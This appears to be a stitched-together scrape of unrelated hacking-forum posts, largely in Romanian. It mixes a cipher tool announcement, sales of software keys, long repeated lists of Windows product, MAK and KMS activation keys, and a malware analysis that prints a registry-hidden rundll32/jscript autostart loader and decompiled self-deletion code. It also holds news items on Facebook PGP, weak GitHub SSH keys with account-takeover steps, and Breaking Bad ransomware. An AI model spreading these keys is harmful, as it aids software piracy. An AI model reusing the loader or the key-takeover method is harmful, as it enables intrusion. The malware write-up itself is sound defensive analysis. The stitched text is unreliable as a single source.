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Salut, Am vrut sa lucrez ceva in .NET si fiind inspirat de encoderul de pe Crypo.com si de toolul lui Gecko am decis sa scriu aceasta aplicatie. E simplu de folosit si isi face treaba... Suporta urmatorii algoritmi: Reverse Hexadecimal Binary ASCII Base64 Caesar MD5 SHA RC4 AES ROT13 ATOM128 Aici aveti un screenshot cu aplicatia: http://i.imgur.com/XgxdTTL.png Download de pe site-ul meu: http://adrenalinetech.xyz/downloads/CipherGuru/ Sursa pe github: https://github.com/adrenalinetech/CipherGuru Daca aveti nemultumiri sau vreti sa adaug un algoritm va rog sa imi spuneti. Multumesc.

Vand Key WHMCS 20$-btc http://www.whmcs.com

Salut, Vand coduri de activare pentru 2 dintre cele mai cunoscute produse de securitate, suita: mobile protection + antivirus pc 10$ paypal sau doar antivirus 5$. Cine este interesat ma poate contacta prin pm.

X-Blades PC Game Free Steam Key Download - Most i Want

http://www.videoconverterfactory.com/giveaway.html Note: Click on "GET IT FREE NOW" to download a zip file with the license key. Valid before Jun 21.

ome non typical malware which doesn't have any attention from "security experts" and other internet clowns. Maybe because of this it is not well detected on VT. The key features of it, making it non typical: 1) This malware lives in registry value. 2) Non typical dropper self-deletion method, nothing zero day though. 3) Malware startup location protection in a backdoor Sirefef way. 4) It downloads, installs and uses Windows KB968930 (MS PowerShell). More details below 1) This malware stored under key HKCU\Software\Microsoft\Windows\CurrentVersion\Run and it autostart location is invisible to regedit, why explained in part 3. That's what really here. "Unnamed" value is a forged registry value that holds command to execute malware script stored in "Default" value. Exactly this value makes regedit crazy. Autostart malware script below. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=jscript.encode>"+(new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")+"\74/script>") It purpose - read, encode and execute script stored in the "Default" value. The decoded malware now set as process environment variable named "a" and contains additional code to execute stored again as script code, lets call it ScriptA. It is named ScriptA.txt in attached archive. Decoded script attached as ScriptB.txt. As you can see they multiple times use base64 encoding for layered payload. Inside ScriptB you can find another base64 encoded which is attached as PayloadA.txt. This is base64 encoded dll which is actual malware designed to be running inside zombified copy of dllhost.exe (this malware aware about WOW64 and will select appropriate version of this executable - Wow64DisableWow64FsRedirection %windir%\syswow64\dllhost.exe or %windir%\system32\dllhost.exe). Final payload dll (attached as payload.dll) packed with MPRESS v2.19. Unpacking MPRESS is similar to manual unpack of UPX. This dll is simple and is capable of downloading and executing arbitrary files on infected machine (WinExec). Also because it is used in startup process this dll is also responsible for zombifying dllhost.exe process and self-injection through NtQueueApcThread. 2) It uses NTFS ADS for dropper self-deletion and more trivial MoveFileEx with MOVEFILE_DELAY_UNTIL_REBOOT if first method failed. After self-deletion malware persist on infected computer only in the zombified processes VA and in the registry. First dropper attaches itself as stream to dropper. e.g. C:\malware.exe -> C:\malware.exe:0 where 0 is a NTFS data stream copy of malware.exe. Next it spawns process from ADS and calls DeleteFile. Yeah I too can F5 in HexRays. signed int __stdcall sub_401696(LPCSTR lpExistingFileName) { char *NewFileName; struct _STARTUPINFOA StartupInfo; struct _PROCESS_INFORMATION ProcessInformation; snprintf(&NewFileName, 0xFFFu, "%s:0", lpExistingFileName); if ( CopyFileA(lpExistingFileName, &NewFileName, 0) ) { StartupInfo.cb = 68; memset(&StartupInfo.lpReserved, 0, 0x40u); if ( CreateProcessA(&NewFileName, 0, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) ) { CloseHandle(ProcessInformation.hThread); CloseHandle(ProcessInformation.hProcess); return 1; } DeleteFileA(&NewFileName); } else { if ( MoveFileExA(&NewFileName, 0, MOVEFILE_DELAY_UNTIL_REBOOT) ) return 1; } return 0; } 3) Embedded nulls used for protecting startup key HKCU\Software\Microsoft\Windows\CurrentVersion\Run key from removal and for hiding actual run value (regedit cannot handle incorrect value name and cancels listing items). Malware payload dll inside dllhost zombie process additionally works as a watchdog and will recover malware startup registry values if they are removed. Detection and Removal instructions: This malware can be easily revealed because of invasive self-protection it uses. Autoruns and ProcessExplorer from sysinternals all you need to detect presense of this malware. Locate and terminate dllhost.exe running without parents (it is launched by powershell that after exists). regdelnull hkcu -s to remove forged Run subkey. Regedit - delete whole HKCU\Software\Microsoft\Windows\CurrentVersion\Run key. Sample courtesy of R136a1 https://twitter.com/MalwareChannel/status/454939686885412864 Also thanks to B-boy/StyLe/ who bring attention to this malware. Download pass: infected Source

Download : Avast Premium 2015 Serial Key 2017.rar - Solidfiles

Windows 8.1 Windows 8.1 Professional GCRJD-8NW9H-F2CDX-CCM8D-9D6T9 Windows 8.1 Professional N HMCNV-VVBFX-7HMBH-CTY9B-B4FXY Windows 8.1 Enterprise MHF9N-XY6XB-WVXMC-BTDCT-MKKG7 Windows 8.1 Enterprise N TT4HM-HN7YT-62K67-RGRQJ-JFFXW Windows 8 Windows 8 Professional NG4HW-VH26C-733KW-K6F98-J8CK4 Windows 8 Professional N XCVCF-2NXM9-723PB-MHCB7-2RYQQ Windows 8 Enterprise 32JNW-9KQ84-P47T8-D8GGY-CWCK7 Windows 8 Enterprise N JMNMF-RHW7P-DMY6X-RF3DR-X2BQT Windows 7 Windows 7 Professional FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4 Windows 7 Professional N MRPKT-YTG23-K7D7T-X2JMM-QY7MG Windows 7 Enterprise 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH Windows 7 Enterprise N YDRBP-3D83W-TY26F-D46B2-XCKRJ Windows 7 Enterprise E C29WB-22CC8-VJ326-GHFJW-H9DH4 Windows Server 2012 R2 Windows Server 2012 R2 Server Standard D2N9P-3P6X9-2R39C-7RTCD-MDVJX Windows Server 2012 R2 Datacenter W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9 Windows Server 2012 R2 Essentials KNC87-3J2TX-XB4WP-VCPJV-M4FWM Windows Server 2012 Windows Server 2012 Core BN3D2-R7TKB-3YPBD-8DRP2-27GG4 Windows Server 2012 Core N 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY Windows Server 2012 Core Single Language 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ Windows Server 2012 Core Country Specific 4K36P-JN4VD-GDC6V-KDT89-DYFKP Windows Server 2012 Server Standard XC9B7-NBPP2-83J2H-RHMBY-92BT4 Windows Server 2012 Standard Core XC9B7-NBPP2-83J2H-RHMBY-92BT4 Windows Server 2012 Multipoint Standard HM7DN-YVMH3-46JC3-XYTG7-CYQJJ Windows Server 2012 Multipoint Premium XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G Windows Server 2012 Datacenter 48HP8-DN98B-MYWDG-T2DCC-8W83P Windows Server 2012 Datacenter Core 48HP8-DN98B-MYWDG-T2DCC-8W83P Windows Server 2008 R2 Windows Server 2008 R2 HPC Edition FKJQ8-TMCVP-FRMR7-4WR42-3JCD7 Windows Server 2008 R2 Datacenter 74YFP-3QFB3-KQT8W-PMXWJ-7M648 Windows Server 2008 R2 Enterprise 489J6-VHDMP-X63PK-3K798-CPX3Y Windows Server 2008 R2 for Itanium-Based Systems GT63C-RJFQ3-4GMB6-BRFB9-CB83V Windows Server 2008 R2 Standard YC6KT-GKW9T-YTKYR-T4X34-R7VHC Windows Web Server 2008 R2 6TPJF-RBVHG-WBW2R-86QPH-6RTM4 MVBCQ-B3VPW-CT369-VM9TB-YFGBP MM7DF-G8XWM-J2VRG-4M3C4-GR27X KGMPT-GQ6XF-DM3VM-HW6PR-DX9G8 MVBCQ-B3VPW-CT369-VM9TB-YFGBP KBHBX-GP9P3-KH4H4-HKJP4-9VYKQ BCGX7-P3XWP-PPPCV-Q2H7C-FCGFR RGQ3V-MCMTC-6HP8R-98CDK-VP3FM Q3VMJ-TMJ3M-99RF9-CVPJ3-Q7VF3 6JQ32-Y9CGY-3Y986-HDQKT-BPFPG P72QK-2Y3B8-YDHDV-29DQB-QKWWM 6F4BB-YCB3T-WK763-3P6YJ-BVH24 9JBBV-7Q7P7-CTDB7-KYBKG-X8HHC C43GM-DWWV8-V6MGY-G834Y-Y8QH3 GPRG6-H3WBB-WJK6G-XX2C7-QGWQ9 MT39G-9HYXX-J3V3Q-RPXJB-RQ6D7 MVYTY-QP8R7-6G6WG-87MGT-CRH2P Windows Keys 7YWX9-W3C2V-D46GW-P722P-9CP4D MM7DF-G8XWM-J2VRG-4M3C4-GR27X KGMPT-GQ6XF-DM3VM-HW6PR-DX9G8 MVBCQ-B3VPW-CT369-VM9TB-YFGBP KBHBX-GP9P3-KH4H4-HKJP4-9VYKQ BCGX7-P3XWP-PPPCV-Q2H7C-FCGFR RGQ3V-MCMTC-6HP8R-98CDK-VP3FM Q3VMJ-TMJ3M-99RF9-CVPJ3-Q7VF3 6JQ32-Y9CGY-3Y986-HDQKT-BPFPG P72QK-2Y3B8-YDHDV-29DQB-QKWWM 6F4BB-YCB3T-WK763-3P6YJ-BVH24 9JBBV-7Q7P7-CTDB7-KYBKG-X8HHC C43GM-DWWV8-V6MGY-G834Y-Y8QH3 GPRG6-H3WBB-WJK6G-XX2C7-QGWQ9 MT39G-9HYXX-J3V3Q-RPXJB-RQ6D7 MVYTY-QP8R7-6G6WG-87MGT-CRH2P GRY6B-TJ49J-X73JG-38H9K-VWJHY C8XXQ-PQDD6-6KGP6-J8XT6-XGB2X 8XRH7-RTC6B-BJ42C-C2Q8Y-BRXMG PTTCH-H7J6M-4XXWH-86RT3-66P6M DLMKZ-2ILHP-7IUG9-A2QVK-A2BYX BPVVG-7KVMM-HGRZ1-SQZ4L-USRHM FJGCP-4DFJD-GJY49-VJBQ7-HYRR2 3YHKG-DVQ27-RYRBX-JMPVM-WG38T MVBCQ-B3VPW-CT369-VM9TB-YFGBP Windows 7 Ultimate Serial Keys windows 7 ulimate - lenovo - 22TKD-F8XX6-YG69F-9M66D-PMJBM windows 7 ulimate - dell - 342DG-6YJR8-X92GV-V7DCV-P4K27 windows 7 ulimate - acer - FJGCP-4DFJD-GJY49-VJBQ7-HYRR2 Windows 7 Professional Serial Keys windows 7 professional - dell - 32KD2-K9CTF-M3DJT-4J3WC-733WD windows 7 professional - acer - YKHFT-KW986-GK4PY-FDWYH-7TP9F windows 7 professional - hp - 74T2M-DKDBC-788W3-H689G-6P6GT windows 7 professional - samsung - GMJQF-JC7VC-76HMH-M4RKY-V4HX6 Windows 7 Home Premium Serial Keys windows 7 Home Premium - samsung - CQBVJ-9J697-PWB9R-4K7W4-2BT4J windows 7 Home Premium - packard bell - VQB3X-Q3KP8-WJ2H8-R6B6D-7QJB7 windows 7 Home Premium - dell - 6RBBT-F8VPQ-QCPVQ-KHRB8-RMV82 windows 7 Home Premium - asus - 7JQWQ-K6KWQ-BJD6C-K3YVH-DVQJG Windows 7 Beta 64-bit Product Key 7XRCQ-RPY28-YY9P8-R6HD8-84GH3 JYDV8-H8VXG-74RPT-6BJPB-X42V4 482XP-6J9WR-4JXT3-VBPP6-FQF4M JYDV8-H8VXG-74RPT-6BJPB-X42V4 ~~~~~~~~~~~~~~~~~~~~~~~~~~ Windows 7 Beta 32-bit Product Key 6JKV2-QPB8H-RQ893-FW7TM-PBJ73 TQ32R-WFBDM-GFHD2-QGVMH-3P9GC GG4MQ-MGK72-HVXFW-KHCRF-KW6KY 4HJRK-X6Q28-HWRFY-WDYHJ-K8HDH QXV7B-K78W2-QGPR6-9FWH9-KGMM7 Windows 7 Anytime Upgrade key: RHPQ2-RMFJH-74XYM-BH4JX-XM76F Windows 7 Activation key: 7JQWQ-K6KWQ-BJD6C-K3YVH-DVQJG Windows 8.1 serial key : ultimate edition NTTX3-RV7VB-T7X7F-WQYYY-9Y92F Windows 8 OS key : Professional edition XKY4K-2NRWR-8F6P2-448RF-CRYQH Windows 8 product key : Release preview TK8TP-9JN6P-7X7WW-RFFTV-B7QPF Windows 8 product number : Consumer preview DNJXJ-7XBW8-2378T-X22TX-BKG7J Windows 8 OS key : Developer’s preview 6RH4V-HNTWC-JQKG8-RFR3R-36498 Windows 8 product key : Developer’s version Y8N3-H7MMW-C76VJ-YD3XV-MBDKV 6RH4V-HNTWC-JQKG8-RFR3R-36498 4Y8N3-H7MMW-C76VJ-YD3XV-MBDKV MBFBV-W3DP2-2MVKN-PJCQD-KKTF7 28VNV-HF42G-K2WM9-JXRJQ-2WBQW NF32V-Q9P3W-7DR7Y-JGWRW-JFCK8 Windows 8 serial key : English DNJXJ-7XBW8-2378T-X22TX-BKG7J Windows 8 software key : Chinese DNJXJ-7XBW8-2378T-X22TX-BKG7J Windows 8 serial number : German DNJXJ-7XBW8-2378T-X22TX-BKG7J Windows 8 unique serial number : French DNJXJ-7XBW8-2378T-X22TX-BKG7J Windows 8 product key : Japanese DNJXJ-7XBW8-2378T-X22TX-BKG7J Window 8 Serial Keys 100 % Working 2GVN8-TV3C2-K3YM7-MMRVM-BBFDH 967N4-R7KXM-CJKJB-BHGCW-CPKT7 84NRV-6CJR6-DBDXH-FYTBF-4X49V RRYGR-8JNBY-V2RJ9-TJP4P-749T7 ND8P2-BD2PB-DD8HM-2926R-CRYQH XWCHQ-CDMYC-9WN2C-BWWTV-YY2KV BDDNV-BQ27P-9P9JJ-BQJ96-KTJXV KNTGM-BGJCJ-BPH3X-XX8V4-K4PKV F8X33-CNV3F-RH7MY-C73YT-XP73H 967N4-R7KXM-CJKJB-BHGCW-CPKT7 HNRGD-JP8FC-6F6CY-2XHYY-RCWXV 84NRV-6CJR6-DBDXH-FYTBF-4X49V BDDNV-BQ27P-9P9JJ-BQJ96-KTJXV CDQND-9X68R-RRFYH-8G28W-82KT7 DWV49-3GN3Q-4XMT7-QR9FQ-KKT67 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FFX8D-N3WMV-GM6RF-9YRCJ-82KT7 2CMGK-NMW4P-B846H-YXR6P-27F9V D2GBF-NGBW4-QQRGG-W38YB-BBFDH NTVHT-YF2M4-J9FJG-BJD66-YG667 GBJJV-YNF4T-R6222-KDBXF-CRYQH 4NMMK-QJH7K-F38H2-FQJ24-2J8XV 84NRV-6CJR6-DBDXH-FYTBF-4X49V 3NHJ7-3WWQK-4RFTH-8FHJY-PRYQH 988NM-XKXT9-7YFWH-H2Q3Q-C34DH TGXN4-BPPYC-TJYMH-3WXFK-4JMQH N9C46-MKKKR-2TTT8-FJCJP-4RDG7 Q4NBQ-3DRJD-777XK-MJHDC-749T7 2VTNH-323J4-BWP98-TX9JR-FCWXV D7KN2-CBVPG-BC7YC-9JDVJ-YPWXV 2GVN8-TV3C2-K3YM7-MMRVM-BBFDH 4NMMK-QJH7K-F38H2-FQJ24-2J8XV 76NDP-PD4JT-6Q4JV-HCDKT-P7F9V 7HBX7-N6WK2-PF9HY-QVD2M-JK49V ================================================================================================================= Windows 8.1 PRO / ENT Phone Activation MAK Key ** Windows 8.1 PRO / ENT Mak Keys Activate Both PRO & ENTERPRISE Edition Compatible to Upgrade WMC Edition.! ** Product Key(s)---------------------------------Remaining Activation Counts slmgr.vbs -ipk 7FGTT-NXKP6-KCHBY-D3XP9-FRFX3 937 slmgr.vbs -ipk P86Q8-PNR2W-4F226-BPJ2Q-7T8K3 591 slmgr.vbs -ipk JGDNT-VKFPY-36K8K-H83V7-VT8K3 165 slmgr.vbs -ipk Q36YN-97WHT-GQ4BR-684QP-FX7QQ 95 slmgr.vbs -ipk 9R3DP-NJV9M-P2TYG-6C4KR-R3JK3 25 slmgr.vbs -ipk K8YXT-N2KDG-B39MT-THK2H-XD6VD slmgr.vbs -ipk GNCQM-TQJ9H-CD22V-DM4RX-9HHQQ slmgr.vbs -ipk NTJ92-QJFB3-YVBYK-7J9BC-GQ6VD slmgr.vbs -ipk 2N4YY-H4KRF-CXVM6-DB46Y-RCYDQ slmgr.vbs -ipk 4HFYM-N3CH8-8237K-7YDKD-8K7QQ slmgr.vbs -ipk 7TYYN-H7GKX-MMCXW-KWKDT-6F27D slmgr.vbs -ipk CWKY6-FGNX6-877Y7-DTGFM-RCYDQ slmgr.vbs -ipk MPNQW-FW9V2-89HT6-TKFXK-P36VD slmgr.vbs -ipk Q226H-HN692-BG7J8-G2PHY-88D3Q [Tested working on VM1 13 November 2014] ================================================================================= Windows 8/8.1 RTM Pro WMC Phone Activation RETAIL Keys: slmgr.vbs -ipk CYGD4-6JKKC-WNGPV-X8B9P-D668D slmgr.vbs -ipk F2H27-X7VJN-YMMKJ-GPW9D-YBFFQ slmgr.vbs -ipk C9VKD-M6HPN-Y4GP4-VXG4G-XP74Q ================================================================================= Windows 8.1 RTM Pro Phone Activation RETAIL Keys slmgr.vbs -ipk NGCYH-JF34J-GD93B-RYD9T-BPYCY slmgr.vbs -ipk JNXYY-KXCW2-TVFHV-BQ63F-DJXT7 slmgr.vbs -ipk NXGRM-3VPXH-76DVR-HT43H-MBFDH slmgr.vbs -ipk RJHTD-N7283-XKYHD-77Q2V-T273H slmgr.vbs -ipk JJQNJ-DXQH2-3Y74Y-V273B-K73G7 7YWX9-W3C2V-D46GW-P722P-9CP4D MM7DF-G8XWM-J2VRG-4M3C4-GR27X KGMPT-GQ6XF-DM3VM-HW6PR-DX9G8 MVBCQ-B3VPW-CT369-VM9TB-YFGBP KBHBX-GP9P3-KH4H4-HKJP4-9VYKQ BCGX7-P3XWP-PPPCV-Q2H7C-FCGFR RGQ3V-MCMTC-6HP8R-98CDK-VP3FM Q3VMJ-TMJ3M-99RF9-CVPJ3-Q7VF3 6JQ32-Y9CGY-3Y986-HDQKT-BPFPG P72QK-2Y3B8-YDHDV-29DQB-QKWWM 6F4BB-YCB3T-WK763-3P6YJ-BVH24 9JBBV-7Q7P7-CTDB7-KYBKG-X8HHC C43GM-DWWV8-V6MGY-G834Y-Y8QH3 GPRG6-H3WBB-WJK6G-XX2C7-QGWQ9 MT39G-9HYXX-J3V3Q-RPXJB-RQ6D7 MVYTY-QP8R7-6G6WG-87MGT-CRH2P GRY6B-TJ49J-X73JG-38H9K-VWJHY C8XXQ-PQDD6-6KGP6-J8XT6-XGB2X 8XRH7-RTC6B-BJ42C-C2Q8Y-BRXMG PTTCH-H7J6M-4XXWH-86RT3-66P6M DLMKZ-2ILHP-7IUG9-A2QVK-A2BYX BPVVG-7KVMM-HGRZ1-SQZ4L-USRHM FJGCP-4DFJD-GJY49-VJBQ7-HYRR2 3YHKG-DVQ27-RYRBX-JMPVM-WG38T MVBCQ-B3VPW-CT369-VM9TB-YFGBP Windows 7 Ultimate Serial Keys windows 7 ulimate - lenovo - 22TKD-F8XX6-YG69F-9M66D-PMJBM windows 7 ulimate - dell - 342DG-6YJR8-X92GV-V7DCV-P4K27 windows 7 ulimate - acer - FJGCP-4DFJD-GJY49-VJBQ7-HYRR2 Windows 7 Professional Serial Keys windows 7 professional - dell - 32KD2-K9CTF-M3DJT-4J3WC-733WD windows 7 professional - acer - YKHFT-KW986-GK4PY-FDWYH-7TP9F windows 7 professional - hp - 74T2M-DKDBC-788W3-H689G-6P6GT windows 7 professional - samsung - GMJQF-JC7VC-76HMH-M4RKY-V4HX6 Windows 7 Home Premium Serial Keys windows 7 Home Premium - samsung - CQBVJ-9J697-PWB9R-4K7W4-2BT4J windows 7 Home Premium - packard bell - VQB3X-Q3KP8-WJ2H8-R6B6D-7QJB7 windows 7 Home Premium - dell - 6RBBT-F8VPQ-QCPVQ-KHRB8-RMV82 windows 7 Home Premium - asus - 7JQWQ-K6KWQ-BJD6C-K3YVH-DVQJG Windows 7 Beta 64-bit Product Key 7XRCQ-RPY28-YY9P8-R6HD8-84GH3 JYDV8-H8VXG-74RPT-6BJPB-X42V4 482XP-6J9WR-4JXT3-VBPP6-FQF4M JYDV8-H8VXG-74RPT-6BJPB-X42V4 ~~~~~~~~~~~~~~~~~~~~~~~~~~ Windows 7 Beta 32-bit Product Key 6JKV2-QPB8H-RQ893-FW7TM-PBJ73 TQ32R-WFBDM-GFHD2-QGVMH-3P9GC GG4MQ-MGK72-HVXFW-KHCRF-KW6KY 4HJRK-X6Q28-HWRFY-WDYHJ-K8HDH Windows 7 Ultimate Retail Offline Activation Key HTXFV-FH8YX-VCY69-JJGBK-7R6XP 72VG4-V3KTK-7BQYH-7GXDW-48JJ3 GCHHP-39HXK-X3YWW-HPBWQ-RPGQV GMY2P-RBX7P-TQGX8-C8B9B-BGXFF J78FT-J48BQ-HH2M7-CYVTM-MXRHY 6QVYR-WQDGH-RPV2H-FH739-M462C 6MGBH-4QDD8-7V9G8-WJ4KR-9JPFK BPFDC-JQMCP-7CRPX-DCT9D-CXQB9 FBQFV-6VW7F-C8MXX-VTMV3-R7KKQ MQ9VV-GPKFB-4R88W-H3KBT-CXMYH TM7K4-MMRYX-6BMFT-38D72-K3J8W Windows 8 Professional NG4HW-VH26C-733KW-K6F98-J8CK4 XKY4K-2NRWR-8F6P2-448RF-CRYQH Windows 8 Professional N XCVCF-2NXM9-723PB-MHCB7-2RYQQ windows 7 keys are: H3RCX-HC6QD-DB492-YWGHP-3PB4C PVBHT-4796G-KM9Q3-7V8HD-J6V7M FGXGR-D4GTB-6YY24-HG67D-FPQJV PMMB7-VPWQM-R4TBJ-RQW4F-4J6JB H2CF9-HX9MM-KY3XQ-26W9C-BYYYX MKCRW-7BVW9-QT44X-QK7J3-RTJ79 6D72M-BGMX8-R8C6H-PFD72-Q3W6F VVCFH-4P4X2-KMFG2-PBPK3-G9X93 W3DDG-QM7B8-4J499-J8Q22-R3QW6 Q7WQW-QJBW8-C72H6-M8TX9-P4TB6 W2RQF-RRR9B-3BF7T-K2WYB-M7M8Q XJBCD-6QCVR-RFBWX-939GC-KHC9J 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Now No Government Can Spy On Its Citizens! Taking a cue from Google and Apple, Facebook for the first time is giving its users more encryption options to keep their information private, infuriating agencies like FBI and NSA who believe that “law enforcement and national security investigators need to be able to access communications and information to obtain the evidence necessary to prevent crime and bring criminals to justice in a court of law” and that locking user data places lives in danger by limiting government surveillance. The US government who recently said they will stop spying on Americans is up in arms because this new encryption won’t let them spy on Americans. In a blogpost, Facebook explained how the feature will work: “It’s very important to us that the people who use Facebook feel safe and can trust that their connection to Facebook is secure…Whilst Facebook seeks to secure connections to your email provider with TLS, the stored content of those messages may be accessible as plaintext (with attachments) to anyone who accesses your email provider or email account. To enhance the privacy of this email content, today we are gradually rolling out an experimental new feature that enables people to add OpenPGP public keys to their profile; these keys can be used to “end-to-end” encrypt notification emails sent from Facebook to your preferred email accounts. People may also choose to share OpenPGP keys from their profile, with or without enabling encrypted notifications.” Created as PGP (which stands for “pretty good privacy”), nearly 25 years ago by Phil Zimmermann, OpenPGP is one of the most popular available standards for protecting email with public key encryption. You will be able to update your own public key, using a desktop browser, at: https://www.facebook.com/me/about?section=contact-info The new move will allow users to encrypt notifications sent from the social networking website to their email addresses, protecting potentially sensitive emails, such as a request for a new password, from hackers, spies or anybody who does not have the user’s private key. “It also means that people who activate the email encryption and then lose their private key cannot turn to Facebook for help. The social network would have a copy of the public key uploaded to a user’s Facebook profile, but encrypted chats or emails off the site would still require the users’ private key to unlock. Other account recovery methods like SMS and Trusted Contacts can still work without relying upon email recovery,” explains Jay Nancarrow, a communications manager with Facebook. ??????????????The Committee to Protect Journalists has praised Facebook’s encryption decision. “Facebook has taken an important step to help protect users’ private communications by default, and make the risky environment, in which journalists work, a little bit safer,” said CPJ Internet Advocacy Coordinator Geoffrey King.

GitHub has revoked an unknown number of cryptographic keys used to access accounts after a developer found they contained a catastrophic weakness that came to light some seven years ago. The keys, which allow authorized users to log into public repository accounts belonging to the likes of Spotify, Yandex, and UK government developers, were generated using a buggy pseudo random number generator originally contained in the Debian distribution of Linux. During a 20-month span from 2006 to 2008, the pool of numbers available was so small that it made cracking the secret keys trivial. Almost seven years after Debian maintainers patched the bug and implored users to revoke old keys and regenerate new ones, London-based developer Ben Cartwright-Cox said he discovered the weakness still resided in a statistically significant number of keys used to gain secure shell (SSH) access to GitHub accounts. "If you have just/as of late gotten an email about your keys being revoked, this is because of me, and if you have, you should really go through and make sure that no one has done anything terrible to you, since you have opened yourself to people doing very mean things to you for what is most likely a very long time," Cartwright-Cox wrote in a blog post published Monday. "It would be safe to assume that due to the low barrier of entry for this, that the users that have bad keys in their accounts should be assumed to be compromised and anything that allowed that key entry may have been hit by an attacker." Cartwright-Cox told Ars that he found about 94 keys on GitHub that contained the Debian-derived weakness. He said that after he reported his finding to GitHub officials in March he learned the actual number of site users was much higher. GitHub revoked the keys early last month, he said. GitHub officials didn't respond to a request to comment. Separately, the UK developer said he found nine GitHub SSH keys that contained woefully insufficient numbers of bits. Two of them had only 256 bits, making it possible for him to factor them and clone the private key in less than an hour. The remaining seven had only have 512 bits. During the time the Debian bug was active, the pool of bits available when generating OpenSSH keys was so limited that there were only 32,767 possible outcomes for a given architecture, key size, and key type. Cartwright-Cox said attackers could have used the same methods he employed to find weak keys and then used several techniques to gain unauthorized access to the accounts the keys protected. The task would have been aided by obtaining the list of insecure Debian SSH keys off one or more public sites, such as this one. In an e-mail, he elaborated: If I wanted to be more noisy I could have just done what I said [in the blog post] and looped though the keys, that may or may not have set off alarms at Github itself (I'd give it a 25% chance that it would). So the breakdown of how this could have been done is the following: Grab the bad key list. It contains the public and private parts of all the SSH keys that would have been made if the user had a version of OpenSSH that had Debian RNG bug, then get each private key on the list, and try to log into GitHub's ssh with them. Depending on what key you succeed with it will tell you what user name it matches up with, in the example I provided since my key is loaded it tells me "Hi benjojo! You've successfully authenticated, but GitHub does not provide shell access." but if I was to try with a weak key that matched up with another user it would say "Hi {user}! You've successfully authenticated, but GitHub does not provide shell access." and then I know what user I can compromise with that. Technically, attackers don't even need the private key to see if a site accepts authentication from a user, HD Moore, chief research officer at Rapid7 and co-founder of the Metasploit hacking framework, told Ars. Just the public key and this Metasploit module will do. "This trick can also be used to see what internet-facing servers allow logins from what public keys, even if the private key is not available, which is a neat reconnaissance/opsec technique," Moore said. The randomness bug was introduced in late 2006, when Debian maintainers removed two lines of code in the OpenSSL code base in an attempt to fix warnings received by some users. In the process, the maintainers wiped out almost all of the entropy that OpenSSL relied on for its randomness engine. The epic mistake, which eventually migrated to the Ubuntu distribution of Linux as well, wasn't diagnosed for 20 months, and by that time an untold number of cryptographic keys had been generated. The bug was unusual in that installing a patch was only the beginning of the healing process. To fully recover, users had to revoke any keys made during that 20-month period and generate new ones using the updated OS. The discovery that GitHub users continued to rely on these hopelessly weak keys eight years after they came to light is testament to just how monumental the Debian debacle was and how hard it is for users to mop up after the mess it created. Source

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Core=334NH-RXG76-64THK-C7CKG-D3VPT CoreN=6NPQ8-PK64X-W4WMM-MF84V-RGB89 CoreSingleLanguage=Y9NXP-XT8MV-PT9TG-97CT3-9D6TC Professional=XHQ8N-C3MCJ-RQXB6-WCHYG-C9WKB ProfessionalN=JRBBN-4Q997-H4RM2-H3B7W-Q68KC ProfessionalWMC=GBFNG-2X3TC-8R27F-RMKYB-JK7QT Enterprise=FHQNR-XYXYC-8PMHT-TV4PH-DRQ3H EnterpriseN=NDRDJ-3YBP2-8WTKD-CK7VB-HT8KW ::gVLK KMS key (Use only with KMS Activation):: gvlkCore=M9Q9P-WNJJT-6PXPY-DWX8H-6XWKK gvlkCoreN=7B9N3-D94CG-YTVHR-QBPX3-RJP64 gvlkCoreSingleLanguage=BB6NG-PQ82V-VRDPW-8XVD2-V8P66 gvlkProfessional=GCRJD-8NW9H-F2CDX-CCM8D-9D6T9 gvlkProfessionalN=HMCNV-VVBFX-7HMBH-CTY9B-B4FXY gvlkProfessionalWMC=789NJ-TQK6T-6XTH8-J39CJ-J8D3P gvlkEnterprise=MHF9N-XY6XB-WVXMC-BTDCT-MKKG7 gvlkEnterpriseN=TT4HM-HN7YT-62K67-RGRQJ-JFFXW Am zis ca poate cineva are nevoie

Security researchers are warning PC users in Australia to beware of new Breaking Bad-themed ransomware demanding up to $1000 AUD ($796 USD) to decrypt essential computer files. The attacks typically arrive in the form of a malicious zip archive which takes the name of a famous delivery firm as its file name, according to Symantec. The AV giant continued in a blog post: “This zip archive contains a malicious file called ‘PENALTY.VBS’ (VBS.Downloader.Trojan) which when executed, downloads the crypto ransomware onto the victim’s computer. The threat also downloads and opens a legitimate .pdf file to trick users into thinking that the initial zip archive was not a malicious file. Based on our initial analysis, the threat appears to be using components or similar techniques to an open-source penetration-testing project, which uses Microsoft PowerShell modules. This allows the attackers to run their own PowerShell script on the compromised computer to operate the crypto ransomware.” The ransom demand message that flashes up to victims uses the Los Pollos Hermanos brand, as seen in Breaking Bad – demanding they pay $450 within a specified time or else the charge will rise to $1000. The email provided for “support-related enquiries” also references lead character Walter White’s description of himself in season four as “the one who knocks.” The victim’s images, videos, documents and other important files are encrypted using a random AES key which is in turn encrypted with an RSA public key. This requires them to obtain the corresponding private key from the attackers to effectively get their files back. Also included is a handy video tutorial on how to buy bitcoins – in order to help victims pay the ransom. Symantec said its customers were protected from Trojan.Cryptolocker.S and referred worried netizens to its dedicated blog on ransomware. Cyber-criminals are increasingly turning to ransomware as an easy way to make a fast buck – sometimes with tragic results. In January it was reported that a 17-year-old student from Windsor committed suicide after receiving messages that he’d visited illegal sites and that indecent images had been found on his computer. Source

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Salut, am un Windows 8.1 Pro Build 9600 pe un HP care e pre activat pe un Windows 8 simplu..am incercat sa bag niste activatoare pt 8.1 pro dar nimic deoarece in BIOS e prea activat OEM-ul ala, problema e ca nu mai am nici key original de la windows-ul pre activat cand a fost cumparat, Mentionez ca Windows 7 merge ok cu activator cand il instalez dar am zis sa trec putin la 8.1. Ce e de facut in situatia asta? am incercat cu activare online cu SLUI 04 03 in search box dar zice ca nu pot sa il activez prin telefon probabil din cauza tarii. Laptopul a fost cumparat de la bulangii de la Altex si nu i-a dat nici un key la el, nici pe el nu scrie vreun key iar pe spate e sters scrisul ala si nu se intelege nimic.

